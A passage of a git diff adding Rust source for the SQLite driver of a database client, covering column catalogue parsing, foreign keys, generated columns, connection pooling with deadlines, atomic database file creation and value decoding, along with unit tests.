assert_eq!(check_runtime_version(&SqliteVersion::new(3, 45, 1)), Ok(())); + } + + #[test] + fn a_version_reads_with_or_without_its_patch_number() { + assert_eq!(SqliteVersion::parse("3.46.1"), Some(SqliteVersion::new(3, 46, 1))); + assert_eq!(SqliteVersion::parse("3.50"), Some(SqliteVersion::new(3, 50, 0))); + assert_eq!(SqliteVersion::parse("three"), None); + assert_eq!(SqliteVersion::new(3, 46, 1).to_string(), "3.46.1"); + } +} diff --git a/linux/crates/drivers/sqlite/src/catalog/sqlite_column_row.rs b/linux/crates/drivers/sqlite/src/catalog/sqlite_column_row.rs new file mode 100644 index 0000000000..05d6a3a0f4 --- /dev/null +++ b/linux/crates/drivers/sqlite/src/catalog/sqlite_column_row.rs @@ -0,0 +1,197 @@ +use sqlx::Row; +use sqlx::sqlite::SqliteRow; +use tablepro_core::DriverError; +use tablepro_core::column::{ColumnDefault, ColumnInfo}; +use tablepro_core::ddl::{ColumnAttributes, GeneratedStorage, IdentityStyle}; + +use super::{classify_default, declared_column_type}; +use crate::errors::map_error; + +/// One row of `pragma_table_xinfo`. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) struct SqliteColumnRow { + pub name: String, + pub declared_type: String, + pub not_null: bool, + pub default: Option, + /// The column's position in the primary key, from 1, or 0. + pub pk: i64, + /// 0 for an ordinary column, 1 for a hidden column of a virtual + /// table, 2 for a VIRTUAL generated column and 3 for a STORED one. + pub hidden: i64, +} + +/// What the columns of one table need to know about the table itself. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) struct TableFacts { + pub strict: bool, + pub without_rowid: bool, + /// The table was declared with AUTOINCREMENT, which SQLite records + /// as a row in `sqlite_sequence`. + pub autoincrement: bool, + /// Exactly one column is in the primary key. + pub single_column_key: bool, +} + +impl SqliteColumnRow { + pub(crate) fn from_row(row: &SqliteRow) -> Result { + Ok(Self { + name: row.try_get("name").map_err(map_error)?, + declared_type: row.try_get("type").map_err(map_error)?, + not_null: row.try_get::("notnull").map_err(map_error)? != 0, + default: row.try_get("dflt_value").map_err(map_error)?, + pk: row.try_get("pk").map_err(map_error)?, + hidden: row.try_get("hidden").map_err(map_error)?, + }) + } + + /// A virtual table's hidden columns are not part of `SELECT *`, so + /// the grid never shows them. + pub(crate) fn is_visible(&self) -> bool { + self.hidden != 1 + } + + pub(crate) fn generated_storage(&self) -> Option { + match self.hidden { + 2 => Some(GeneratedStorage::Virtual), + 3 => Some(GeneratedStorage::Stored), + _ => None, + } + } + + /// `INTEGER PRIMARY KEY`, spelled exactly so, names the rowid + /// rather than adding a column, and only on a table that has one. + pub(crate) fn is_rowid_alias(&self, table: &TableFacts) -> bool { + self.pk > 0 + && table.single_column_key + && !table.without_rowid + && self.declared_type.trim().eq_ignore_ascii_case("INTEGER") + } + + pub(crate) fn column_info(&self, table: &TableFacts) -> ColumnInfo { + let is_generated = self.generated_storage().is_some(); + // The rowid fills itself in unless a default says otherwise. + // AUTOINCREMENT adds only the promise never to reuse a number. + let is_auto_increment = self.is_rowid_alias(table) && (table.autoincrement || self.default.is_none()); + let default = match (is_generated, self.default.as_deref()) { + (false, Some(text)) => classify_default(text), + _ => ColumnDefault::None, + }; + ColumnInfo { + name: self.name.clone(), + column_type: declared_column_type(&self.declared_type, table.strict), + nullable: !self.not_null, + primary_key: self.pk > 0, + is_auto_increment, + is_generated, + default, + // SQLite keeps no column descriptions. A comment in the + // CREATE TABLE text is dropped by its parser. + comment: None, + } + } + + pub(crate) fn attributes(&self, table: &TableFacts) -> ColumnAttributes { + let identity = match self.is_rowid_alias(table) { + true => IdentityStyle::SqliteRowidAlias, + false => IdentityStyle::None, + }; + ColumnAttributes { + identity, + ..ColumnAttributes::default() + } + } +} + +#[cfg(test)] +mod tests { + use tablepro_core::column::{ColumnKind, IntegerKind, IntegerWidth}; + use tablepro_core::value::Value; + + use super::*; + + fn row(name: &str, declared: &str, pk: i64, default: Option<&str>) -> SqliteColumnRow { + SqliteColumnRow { + name: name.to_owned(), + declared_type: declared.to_owned(), + not_null: false, + default: default.map(str::to_owned), + pk, + hidden: 0, + } + } + + fn facts(single_column_key: bool) -> TableFacts { + TableFacts { + strict: false, + without_rowid: false, + autoincrement: false, + single_column_key, + } + } + + #[test] + fn only_a_lone_integer_primary_key_fills_itself_in() { + assert!( + row("id", "INTEGER", 1, None) + .column_info(&facts(true)) + .is_auto_increment + ); + assert!( + !row("id", "INT", 1, None).column_info(&facts(true)).is_auto_increment, + "INT PRIMARY KEY is an ordinary column, not the rowid" + ); + assert!( + !row("a", "INTEGER", 1, None) + .column_info(&facts(false)) + .is_auto_increment + ); + assert!( + !row("id", "INTEGER", 1, Some("0")) + .column_info(&facts(true)) + .is_auto_increment + ); + let without_rowid = TableFacts { + without_rowid: true, + ..facts(true) + }; + assert!( + !row("id", "INTEGER", 1, None) + .column_info(&without_rowid) + .is_auto_increment + ); + } + + #[test] + fn a_default_keeps_the_value_it_names() { + let info = row("status", "TEXT", 0, Some("'it''s'")).column_info(&facts(false)); + + assert_eq!(info.default, ColumnDefault::Literal(Value::Text("it's".to_owned()))); + assert_eq!( + info.column_type.kind, + ColumnKind::Text { + length: tablepro_core::column::TextLength::Unbounded + } + ); + } + + #[test] + fn a_generated_column_reports_its_storage_and_no_default() { + let mut stored = row("total", "INTEGER", 0, None); + stored.hidden = 3; + let mut virtual_column = row("half", "REAL", 0, None); + virtual_column.hidden = 2; + + assert_eq!(stored.generated_storage(), Some(GeneratedStorage::Stored)); + assert_eq!(virtual_column.generated_storage(), Some(GeneratedStorage::Virtual)); + let info = stored.column_info(&facts(false)); + assert!(info.is_generated); + assert_eq!( + info.column_type.kind, + ColumnKind::Integer(IntegerKind { + width: IntegerWidth::W64, + signed: true + }) + ); + } +} diff --git a/linux/crates/drivers/sqlite/src/catalog/table_definition.rs b/linux/crates/drivers/sqlite/src/catalog/table_definition.rs new file mode 100644 index 0000000000..f7fe5b4490 --- /dev/null +++ b/linux/crates/drivers/sqlite/src/catalog/table_definition.rs @@ -0,0 +1,139 @@ +use std::collections::HashMap; + +use sqlparser::ast::{ColumnOption, Statement}; +use sqlparser::dialect::SQLiteDialect; +use sqlparser::parser::Parser; +use tablepro_core::column::SqlExpression; +use tablepro_core::ddl::InboundForeignKey; +use tablepro_core::meta::TableRef; + +/// One row of the inbound foreign key query: a key column of another +/// table that points at this one. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) struct InboundKeyRow { + pub child: String, + pub id: i64, + pub from: String, + /// `None` when the key names no columns, which means the parent's + /// primary key. + pub to: Option, +} + +/// Group key columns into keys, in the order the query returned them. +/// A key that names no parent columns points at `primary_key`. +pub(crate) fn inbound_foreign_keys( + schema: Option<&str>, + rows: Vec, + primary_key: &[String], +) -> Vec { + let mut keys: Vec = Vec::new(); + let mut positions: HashMap<(String, i64), usize> = HashMap::new(); + let mut unnamed_targets: Vec = Vec::new(); + for row in rows { + let position = *positions.entry((row.child.clone(), row.id)).or_insert_with(|| { + keys.push(InboundForeignKey { + name: foreign_key_name(&row.child, row.id), + table: TableRef::new(schema.map(str::to_owned), row.child.clone()), + columns: Vec::new(), + referenced_columns: Vec::new(), + }); + unnamed_targets.push(false); + keys.len() - 1 + }); + let (Some(key), Some(unnamed)) = (keys.get_mut(position), unnamed_targets.get_mut(position)) else { + continue; + }; + key.columns.push(row.from); + match row.to { + Some(to) => key.referenced_columns.push(to), + None => *unnamed = true, + } + } + for (key, unnamed) in keys.iter_mut().zip(unnamed_targets) { + if unnamed { + key.referenced_columns = primary_key.to_vec(); + } + } + keys +} + +/// SQLite does not keep a foreign key's constraint name anywhere the +/// pragmas reach, so the name is made from the child table and the +/// key's position, which stays the same while the schema does. +pub(crate) fn foreign_key_name(table: &str, id: i64) -> String { + format!("fk_{table}_{id}") +} + +/// The expressions of the generated columns, read from the table's own +/// CREATE TABLE. The pragmas say a column is generated but not how. +/// The text is the parser's rendering of the expression: the table's +/// source keeps the original spelling for a rebuild. +pub(crate) fn generated_expressions(create_statement: &str) -> HashMap { + let Ok(statements) = Parser::parse_sql(&SQLiteDialect {}, create_statement) else { + tracing::debug!("the CREATE TABLE of a table with generated columns did not parse"); + return HashMap::new(); + }; + let Some(Statement::CreateTable(table)) = statements.into_iter().next() else { + return HashMap::new(); + }; + table + .columns + .into_iter() + .filter_map(|column| { + let expression = column.options.into_iter().find_map(|option| match option.option { + ColumnOption::Generated { + generation_expr: Some(expression), + .. + } => Some(expression), + _ => None, + })?; + Some(( + column.name.value, + SqlExpression::from_catalog_text(expression.to_string()), + )) + }) + .collect() +} + +#[cfg(test)] +mod tests { + use super::*; + + fn key_row(child: &str, id: i64, from: &str, to: Option<&str>) -> InboundKeyRow { + InboundKeyRow { + child: child.to_owned(), + id, + from: from.to_owned(), + to: to.map(str::to_owned), + } + } + + #[test] + fn a_key_without_target_columns_points_at_the_primary_key() { + let rows = vec![ + key_row("lines", 0, "order_id", None), + key_row("notes", 0, "order_a", Some("a")), + key_row("notes", 0, "order_b", Some("b")), + ]; + + let keys = inbound_foreign_keys(None, rows, &["id".to_owned()]); + + assert_eq!(keys.len(), 2); + assert_eq!(keys[0].name, "fk_lines_0"); + assert_eq!(keys[0].table, TableRef::unqualified("lines")); + assert_eq!(keys[0].referenced_columns, ["id"]); + assert_eq!(keys[1].columns, ["order_a", "order_b"]); + assert_eq!(keys[1].referenced_columns, ["a", "b"]); + } + + #[test] + fn generated_expressions_come_from_the_create_statement() { + let expressions = generated_expressions( + "CREATE TABLE t (a INTEGER, b INTEGER GENERATED ALWAYS AS (a * 2) STORED, c AS (a + 1))", + ); + + assert_eq!(expressions.get("b").map(SqlExpression::as_sql), Some("a * 2")); + assert_eq!(expressions.get("c").map(SqlExpression::as_sql), Some("a + 1")); + assert!(!expressions.contains_key("a")); + } +} diff --git a/linux/crates/drivers/sqlite/src/connection.rs b/linux/crates/drivers/sqlite/src/connection.rs new file mode 100644 index 0000000000..547981d4de --- /dev/null +++ b/linux/crates/drivers/sqlite/src/connection.rs @@ -0,0 +1,462 @@ +use std::path::{Path, PathBuf}; +use std::sync::Arc; +use std::sync::atomic::{AtomicBool, Ordering}; + +use async_trait::async_trait; +use futures::future::BoxFuture; +use sqlx::sqlite::{SqliteConnectOptions, SqliteConnection as SqlxConnection, SqlitePool, SqlitePoolOptions}; +use sqlx::{Connection as _, Executor as _}; +use tablepro_core::ddl::TableDefinition; +use tablepro_core::dialect::SqlDialect; +use tablepro_core::meta::{IndexInfo, ObjectInfo, ObjectScope, RowIdentity, SchemaInfo, TableEstimate, TableRef}; +use tablepro_core::statement::Statement; +use tablepro_core::{ + CallOptions, ColumnInfo, CommitResolution, CommitToken, Connection, DriverError, EditorSession, + EditorSessionOptions, FileEndpoint, FileOpenMode, ForeignKeyInfo, LinkState, LinkWatch, LivenessPolicy, LossPhase, + OwnedCalls, QueryResult, ReadOnlyRefusal, ReadStatement, ResultSink, RowLimit, ServerInfo, StreamSummary, + TimeoutPhase, WorkspaceSettings, WriteAtomicity, WriteBatch, WriteKind, WriteLedger, WriteReport, +}; +use tokio::time::Instant; +use tokio_util::sync::{CancellationToken, WaitForCancellationFutureOwned}; + +use crate::catalog::{SqliteVersion, check_runtime_version}; +use crate::create_file::create_or_replace; +use crate::deadline; +use crate::dialect::SqliteDialect; +use crate::driver::WORKSPACE_POOL_MAX_SIZE; +use crate::editor_session::SqliteEditorSession; +use crate::errors::{map_error, map_open_error}; +use crate::interrupt::{InterruptFlag, SqliteStop}; +use crate::metadata; +use crate::open::connect_options; +use crate::result_stream::{collect, count, run_bound, run_script}; +use crate::sqlite_pooled::SqlitePooled; +use crate::sqlite_standalone::SqliteStandalone; +use crate::write_batch; + +/// The workspace's link to one database file. +/// +/// Its pool holds one connection: SQLite takes one writer at a time +/// anyway, and a single connection keeps a temporary table or an +/// attached database where the next call can see it. +#[derive(Debug)] +pub(crate) struct SqliteConnection { + pool: SqlitePool, + path: PathBuf, + settings: WorkspaceSettings, + liveness: LivenessPolicy, + server_info: ServerInfo, + dialect: Arc, + calls: OwnedCalls, + link: LinkWatch, + closed: AtomicBool, +} + +impl SqliteConnection { + /// Open the file the endpoint names, creating it first when the + /// user asked for a new database. + pub(crate) async fn open( + endpoint: &FileEndpoint, + settings: WorkspaceSettings, + liveness: LivenessPolicy, + ) -> Result { + let path = endpoint.path().to_path_buf(); + if endpoint.mode() == FileOpenMode::CreateNew { + let target = path.clone(); + tokio::task::spawn_blocking(move || create_or_replace(&target)) + .await + .map_err(|error| DriverError::Protocol(format!("creating the database file stopped: {error}")))??; + } + let options = connect_options(&path, settings.read_only, settings.lock_timeout); + let pool = SqlitePoolOptions::new() + .max_connections(u32::try_from(WORKSPACE_POOL_MAX_SIZE).unwrap_or(1)) + .acquire_timeout(liveness.pool_wait) + .connect_with(options) + .await + .map_err(|error| map_open_error(error, &path))?; + + let version = match check_file(&pool, &path).await { + Ok(version) => version, + Err(error) => { + pool.close().await; + return Err(error); + } + }; + let server_info = ServerInfo::new( + "SQLite", + version.to_string(), + version.major, + version.minor, + version.patch, + ); + Ok(Self { + pool, + path, + settings, + liveness, + server_info, + dialect: Arc::new(SqliteDialect::new(version)), + calls: OwnedCalls::new(liveness.cancel_grace), + link: LinkWatch::new(), + closed: AtomicBool::new(false), + }) + } + + fn options(&self, read_only: bool) -> SqliteConnectOptions { + connect_options(&self.path, read_only, self.settings.lock_timeout) + } + + fn ensure_open(&self) -> Result<(), DriverError> { + match self.closed.load(Ordering::SeqCst) { + true => Err(DriverError::ConnectionLost { + during: LossPhase::Idle, + }), + false => Ok(()), + } + } + + /// SQLite has no statement timeout of its own, so the workspace's is + /// a deadline the progress handler enforces. + fn statement_bounded(&self, options: CallOptions) -> CallOptions { + let bound = Instant::now() + self.settings.statement_timeout; + CallOptions::new( + deadline::earliest(options.deadline(), Some(bound)), + options.cancel().clone(), + ) + } + + /// Wait for the workspace connection, for as long as the pool wait + /// and the call's own bounds allow. + async fn acquire(&self, options: &CallOptions) -> Result { + self.ensure_open()?; + tokio::select! { + biased; + () = options.cancel().cancelled() => Err(DriverError::Cancelled), + () = deadline::elapsed(options.deadline()) => Err(DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: false, + }), + acquired = self.pool.acquire() => acquired.map(SqlitePooled::new).map_err(map_error), + } + } + + async fn read(&self, options: CallOptions, work: W) -> Result + where + T: Send + 'static, + W: for<'c> FnOnce(&'c mut SqlxConnection) -> BoxFuture<'c, Result> + Send + 'static, + { + let options = self.statement_bounded(options); + let pooled = self.acquire(&options).await?; + self.run_on(options, pooled, work).await + } + + /// Run one call's work on a connection the call holds, under the + /// call's own stop. + async fn run_on(&self, options: CallOptions, pooled: SqlitePooled, work: W) -> Result + where + T: Send + 'static, + W: for<'c> FnOnce(&'c mut SqlxConnection) -> BoxFuture<'c, Result> + Send + 'static, + { + let flag = InterruptFlag::new(); + let stop = Arc::new(SqliteStop::new(flag.clone())); + self.calls + .run_read(options, pooled, stop, move |mut pooled, _request| async move { + let result = match flag.install(pooled.connection()).await { + Ok(()) => work(pooled.connection()).await, + Err(error) => Err(error), + }; + (pooled, result) + }) + .await + } + + /// With the workspace connection busy, the file is asked on a + /// connection of the probe's own, which needs no lock to answer. + async fn probe_standalone(&self, options: &CallOptions) -> Result<(), DriverError> { + let options_for_probe = self.options(true); + let probing = async { + let mut connection = SqlxConnection::connect_with(&options_for_probe) + .await + .map_err(|error| map_open_error(error, &self.path))?; + connection.execute("SELECT 1").await.map_err(map_error)?; + connection.close().await.map_err(map_error) + }; + tokio::select! { + biased; + () = options.cancel().cancelled() => Err(DriverError::Cancelled), + () = deadline::elapsed(options.deadline()) => Err(DriverError::Timeout { + phase: TimeoutPhase::Probe, + server_cancelled: false, + }), + probed = probing => probed, + } + } + + async fn open_standalone(&self, options: &CallOptions) -> Result { + let read_only = self.options(true); + tokio::select! { + biased; + () = options.cancel().cancelled() => Err(DriverError::Cancelled), + () = deadline::elapsed(options.deadline()) => Err(DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: false, + }), + opened = SqlxConnection::connect_with(&read_only) => opened.map_err(|error| map_open_error(error, &self.path)), + } + } +} + +/// Read the file once, so a file that is not a database fails the +/// connect rather than the first browse, and refuse a library older +/// than the catalogue queries need. +async fn check_file(pool: &SqlitePool, path: &Path) -> Result { + let version: String = sqlx::query_scalar("SELECT sqlite_version()") + .fetch_one(pool) + .await + .map_err(map_error)?; + let version = SqliteVersion::parse(&version) + .ok_or_else(|| DriverError::Protocol(format!("SQLite reported version {version:?}")))?; + check_runtime_version(&version)?; + sqlx::query("SELECT count(*) FROM sqlite_schema") + .execute(pool) + .await + .map_err(|error| map_open_error(error, path))?; + Ok(version) +} + +#[async_trait] +impl Connection for SqliteConnection { + fn server_info(&self) -> &ServerInfo { + &self.server_info + } + + fn dialect(&self) -> Arc { + self.dialect.clone() + } + + fn read_only(&self) -> bool { + self.settings.read_only + } + + fn link_state(&self) -> LinkState { + self.link.state() + } + + fn lost(&self) -> WaitForCancellationFutureOwned { + self.link.lost() + } + + async fn probe(&self, options: CallOptions) -> Result<(), DriverError> { + self.ensure_open()?; + let probed = match self.pool.try_acquire() { + Some(connection) => { + let pooled = SqlitePooled::new(connection); + self.run_on(options, pooled, |connection| { + Box::pin(async move { connection.execute("SELECT 1").await.map(|_| ()).map_err(map_error) }) + }) + .await + } + None => self.probe_standalone(&options).await, + }; + // The connection's worker thread is gone, so nothing on this + // link will answer again. + if matches!(probed, Err(DriverError::ConnectionLost { .. })) { + self.link.mark_lost(); + } + probed + } + + async fn list_schemas(&self, options: CallOptions) -> Result, DriverError> { + self.read(options, |connection| Box::pin(metadata::list_schemas(connection))) + .await + } + + async fn list_objects(&self, scope: &ObjectScope, options: CallOptions) -> Result, DriverError> { + let scope = scope.clone(); + self.read(options, move |connection| { + Box::pin(async move { metadata::list_objects(connection, &scope).await }) + }) + .await + } + + async fn fetch_columns(&self, table: &TableRef, options: CallOptions) -> Result, DriverError> { + let table = table.clone(); + self.read(options, move |connection| { + Box::pin(async move { metadata::fetch_columns(connection, &table).await }) + }) + .await + } + + async fn fetch_indexes(&self, table: &TableRef, options: CallOptions) -> Result, DriverError> { + let table = table.clone(); + self.read(options, move |connection| { + Box::pin(async move { metadata::fetch_indexes(connection, &table).await }) + }) + .await + } + + async fn fetch_foreign_keys( + &self, + table: &TableRef, + options: CallOptions, + ) -> Result, DriverError> { + let table = table.clone(); + self.read(options, move |connection| { + Box::pin(async move { metadata::fetch_foreign_keys(connection, &table).await }) + }) + .await + } + + async fn fetch_table_definition( + &self, + table: &TableRef, + options: CallOptions, + ) -> Result { + let table = table.clone(); + self.read(options, move |connection| { + Box::pin(async move { metadata::fetch_table_definition(connection, &table).await }) + }) + .await + } + + async fn row_identity(&self, table: &TableRef, options: CallOptions) -> Result { + let table = table.clone(); + self.read(options, move |connection| { + Box::pin(async move { metadata::row_identity(connection, &table).await }) + }) + .await + } + + async fn table_estimate(&self, table: &TableRef, options: CallOptions) -> Result { + let table = table.clone(); + self.read(options, move |connection| { + Box::pin(async move { metadata::table_estimate(connection, &table).await }) + }) + .await + } + + async fn query_bound( + &self, + statement: &Statement, + limit: RowLimit, + options: CallOptions, + ) -> Result { + let statement = statement.clone(); + self.read(options, move |connection| { + Box::pin(async move { collect(connection, &statement, Some(limit)).await }) + }) + .await + } + + async fn count_rows(&self, statement: &Statement, options: CallOptions) -> Result { + let statement = statement.clone(); + self.read(options, move |connection| { + Box::pin(async move { count(connection, &statement).await }) + }) + .await + } + + async fn stream_read( + &self, + read: &ReadStatement, + sink: Box, + options: CallOptions, + ) -> Result { + self.ensure_open()?; + // Read-only at open, so user SQL that writes is refused by + // SQLite itself for the whole read. + let connection = self.open_standalone(&options).await?; + let flag = InterruptFlag::new(); + let stop = Arc::new(SqliteStop::new(flag.clone())); + let read = read.clone(); + let streamed = self + .calls + .run_read( + options, + SqliteStandalone::new(connection), + stop, + move |mut held, _request| async move { + let mut sink = sink; + let result = match flag.install(held.connection()).await { + Ok(()) => match &read { + ReadStatement::Generated(statement) => { + run_bound(held.connection(), statement, sink.as_mut()).await + } + ReadStatement::User(sql) => { + run_script(held.connection(), sql.as_str(), None, sink.as_mut()).await + } + }, + Err(error) => Err(error), + }; + (held, result) + }, + ) + .await?; + // The sink stopped reading, so the read did not run to its end. + if streamed.consumer_gone { + return Err(DriverError::Cancelled); + } + Ok(StreamSummary::new(streamed.rows)) + } + + async fn write_batch(&self, batch: &WriteBatch, options: CallOptions) -> Result { + if self.settings.read_only { + return Err(DriverError::ReadOnly(ReadOnlyRefusal::ClientGuard)); + } + if batch.is_empty() { + return Ok(WriteReport::default()); + } + // A schema change runs as long as it takes: a rebuild stopped + // halfway by the statement timeout would only roll back. + let options = match batch.kind { + WriteKind::RowChanges => self.statement_bounded(options), + WriteKind::SchemaChanges => options, + }; + let pooled = self.acquire(&options).await?; + let ledger = Arc::new(WriteLedger::new(WriteAtomicity::Transactional)); + let flag = InterruptFlag::new(); + let stop = Arc::new(SqliteStop::new(flag.clone())); + let batch = batch.clone(); + let recorded = ledger.clone(); + self.calls + .run_write(options, pooled, stop, ledger, move |mut pooled, request| async move { + let result = write_batch::run(&mut pooled, &batch, &recorded, &flag, &request).await; + (pooled, result) + }) + .await + } + + /// SQLite commits on the local file, so a COMMIT never goes out over + /// a link that can fail, and there is no token to ask about. + async fn resolve_commit( + &self, + _token: &CommitToken, + _options: CallOptions, + ) -> Result { + Ok(CommitResolution::Unresolvable) + } + + async fn open_editor_session( + &self, + options: EditorSessionOptions, + cancel: CancellationToken, + ) -> Result, DriverError> { + self.ensure_open()?; + let session = SqliteEditorSession::open( + &self.options(self.settings.read_only), + &self.path, + options, + &self.liveness, + cancel, + ) + .await?; + Ok(Arc::new(session)) + } + + async fn close(&self) -> Result<(), DriverError> { + self.closed.store(true, Ordering::SeqCst); + self.calls.shutdown().await; + let _ = tokio::time::timeout(self.liveness.close_timeout, self.pool.close()).await; + Ok(()) + } +} diff --git a/linux/crates/drivers/sqlite/src/create_file.rs b/linux/crates/drivers/sqlite/src/create_file.rs new file mode 100644 index 0000000000..84c2dbd592 --- /dev/null +++ b/linux/crates/drivers/sqlite/src/create_file.rs @@ -0,0 +1,133 @@ +use std::fs::{File, OpenOptions}; +use std::io::ErrorKind; +use std::os::unix::fs::OpenOptionsExt; +use std::path::{Path, PathBuf}; + +use tablepro_core::DriverError; + +/// The journal and WAL files SQLite keeps beside a database. One left +/// from the database being replaced would be replayed into the new one. +const SIDECARS: [&str; 3] = ["-wal", "-shm", "-journal"]; + +/// Put an empty database at `path`, replacing whatever is there. +/// +/// The save dialog has already asked the user before replacing a file, +/// so an existing file is not an error. It is replaced by a rename, +/// which is atomic: a reader sees the old file or the new one, never a +/// half-written one. An empty file is a valid empty database. +pub(crate) fn create_or_replace(path: &Path) -> Result<(), DriverError> { + let parent = match path.parent() { + Some(parent) if !parent.as_os_str().is_empty() => parent, + _ => { + return Err(DriverError::FileNotFound { + path: path.to_path_buf(), + }); + } + }; + let Some(name) = path.file_name() else { + return Err(DriverError::NotADatabase { + path: path.to_path_buf(), + }); + }; + let temporary = parent.join(format!( + ".{}.{}.tmp", + name.to_string_lossy(), + uuid::Uuid::new_v4().simple() + )); + + let created = OpenOptions::new() + .write(true) + .create_new(true) + .mode(0o600) + .open(&temporary) + .and_then(|file| file.sync_all()); + if let Err(error) = created { + // A file that was created and then failed to sync is not left + // behind beside the user's files. + let _ = std::fs::remove_file(&temporary); + return Err(file_error(error.kind(), path)); + } + if let Err(error) = std::fs::rename(&temporary, path) { + let _ = std::fs::remove_file(&temporary); + return Err(file_error(error.kind(), path)); + } + for suffix in SIDECARS { + let mut sidecar = path.as_os_str().to_owned(); + sidecar.push(suffix); + match std::fs::remove_file(PathBuf::from(sidecar)) { + Err(error) if error.kind() != ErrorKind::NotFound => return Err(file_error(error.kind(), path)), + _ => {} + } + } + // The rename is durable only once the directory that records it is. + File::open(parent) + .and_then(|directory| directory.sync_all()) + .map_err(|error| file_error(error.kind(), path)) +} + +fn file_error(kind: ErrorKind, path: &Path) -> DriverError { + let path = path.to_path_buf(); + match kind { + ErrorKind::NotFound => DriverError::FileNotFound { path }, + ErrorKind::IsADirectory => DriverError::NotADatabase { path }, + ErrorKind::PermissionDenied => DriverError::FileAccessDenied { path }, + kind => DriverError::FileIo { path, kind }, + } +} + +#[cfg(test)] +mod tests { + use std::os::unix::fs::PermissionsExt; + + use super::*; + + #[test] + fn an_existing_file_is_replaced_by_an_empty_private_one() { + let directory = tempfile::tempdir().unwrap(); + let path = directory.path().join("data.sqlite3"); + std::fs::write(&path, b"old contents").unwrap(); + + create_or_replace(&path).unwrap(); + + let metadata = std::fs::metadata(&path).unwrap(); + assert_eq!(metadata.len(), 0); + assert_eq!(metadata.permissions().mode() & 0o777, 0o600); + let leftovers: Vec<_> = std::fs::read_dir(directory.path()) + .unwrap() + .map(|entry| entry.unwrap().file_name()) + .collect(); + assert_eq!(leftovers, [std::ffi::OsString::from("data.sqlite3")]); + } + + #[test] + fn only_a_refused_permission_is_access_denied() { + let path = PathBuf::from("/data/app.sqlite3"); + + assert_eq!( + file_error(ErrorKind::PermissionDenied, &path), + DriverError::FileAccessDenied { path: path.clone() } + ); + assert_eq!( + file_error(ErrorKind::StorageFull, &path), + DriverError::FileIo { + path: path.clone(), + kind: ErrorKind::StorageFull + } + ); + assert_eq!( + file_error(ErrorKind::ReadOnlyFilesystem, &path), + DriverError::FileIo { + path, + kind: ErrorKind::ReadOnlyFilesystem + } + ); + } + + #[test] + fn a_missing_directory_is_file_not_found() { + let directory = tempfile::tempdir().unwrap(); + let path = directory.path().join("missing").join("data.sqlite3"); + + assert_eq!(create_or_replace(&path), Err(DriverError::FileNotFound { path })); + } +} diff --git a/linux/crates/drivers/sqlite/src/deadline.rs b/linux/crates/drivers/sqlite/src/deadline.rs new file mode 100644 index 0000000000..95aaf0f12f --- /dev/null +++ b/linux/crates/drivers/sqlite/src/deadline.rs @@ -0,0 +1,17 @@ +use tokio::time::Instant; + +/// Resolves when `deadline` passes, and never when there is none. +pub(crate) async fn elapsed(deadline: Option) { + match deadline { + Some(at) => tokio::time::sleep_until(at).await, + None => std::future::pending().await, + } +} + +/// The earlier of two deadlines, where either may be absent. +pub(crate) fn earliest(first: Option, second: Option) -> Option { + match (first, second) { + (Some(first), Some(second)) => Some(first.min(second)), + (first, second) => first.or(second), + } +} diff --git a/linux/crates/drivers/sqlite/src/decode.rs b/linux/crates/drivers/sqlite/src/decode.rs new file mode 100644 index 0000000000..fbafc4e1fb --- /dev/null +++ b/linux/crates/drivers/sqlite/src/decode.rs @@ -0,0 +1,59 @@ +//! Values read by the storage class SQLite holds them in. +//! +//! A column's declared type is advice: any column of a table that is not +//! STRICT holds any of the five classes, row by row. A value is read as +//! exactly what is stored, so writing it back, or naming its row by it, +//! sends the same bytes. The declared type decides only how the grid +//! shows it, through the column's kind. + +use sqlx::sqlite::{SqliteRow, SqliteValueRef}; +use sqlx::{Decode, Row, Sqlite, TypeInfo, ValueRef}; +use tablepro_core::value::{UndecodableReason, UndecodedValue, Value}; + +/// Every cell of a row, in column order. +pub(crate) fn decode_row(row: &SqliteRow) -> Vec { + (0..row.len()) + .map(|index| match row.try_get_raw(index) { + Ok(raw) => decode_cell(raw), + Err(_) => undecodable("", UndecodableReason::UnsupportedType), + }) + .collect() +} + +pub(crate) fn decode_cell(raw: SqliteValueRef<'_>) -> Value { + if raw.is_null() { + return Value::Null; + } + let class = raw.type_info().name().to_owned(); + match class.as_str() { + "INTEGER" => match >::decode(raw) { + Ok(integer) => Value::Int(integer), + Err(_) => undecodable(&class, UndecodableReason::OutOfRange), + }, + "REAL" => match >::decode(raw) { + Ok(real) => Value::Float64(real), + Err(_) => undecodable(&class, UndecodableReason::OutOfRange), + }, + // SQLite does not check that TEXT is UTF-8. Text that is not + // stays unreadable rather than being repaired into other text. + "TEXT" => match <&[u8] as Decode>::decode(raw) { + Ok(bytes) => match std::str::from_utf8(bytes) { + Ok(text) => Value::Text(text.to_owned()), + Err(_) => undecodable(&class, UndecodableReason::InvalidEncoding), + }, + Err(_) => undecodable(&class, UndecodableReason::InvalidEncoding), + }, + "BLOB" => match <&[u8] as Decode>::decode(raw) { + Ok(bytes) => Value::Bytes(bytes.to_vec()), + Err(_) => undecodable(&class, UndecodableReason::InvalidEncoding), + }, + _ => undecodable(&class, UndecodableReason::UnsupportedType), + } +} + +fn undecodable(type_name: &str, reason: UndecodableReason) -> Value { + Value::Undecodable(Box::new(UndecodedValue { + type_name: type_name.to_owned(), + reason, + })) +} diff --git a/linux/crates/drivers/sqlite/src/dialect.rs b/linux/crates/drivers/sqlite/src/dialect.rs new file mode 100644 index 0000000000..3d55d4e896 --- /dev/null +++ b/linux/crates/drivers/sqlite/src/dialect.rs @@ -0,0 +1,434 @@ +use tablepro_core::column::{ColumnInfo, ColumnKind, ColumnType, SqlExpression}; +use tablepro_core::ddl::{DdlCapabilities, DdlDialect}; +use tablepro_core::dialect::{ + BindError, BindTarget, DialectCapabilities, KeysetDirection, LikeCase, LikeForm, LiteralError, Placeholder, + SqlDialect, +}; +use tablepro_core::export::value_to_text; +use tablepro_core::meta::{EngineRowId, EngineRowIdPart}; +use tablepro_core::sql_syntax::{ + ExpressionSyntaxError, MAX_EXPRESSION_LEN, MAX_TYPE_LEN, SqlGrammar, TypeSyntaxError, parse_expression, parse_type, +}; +use tablepro_core::statement::{BoundParam, ParamType}; +use tablepro_core::value::Value; + +use crate::catalog::{SqliteVersion, declared_column_type}; + +/// How SQLite spells SQL. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct 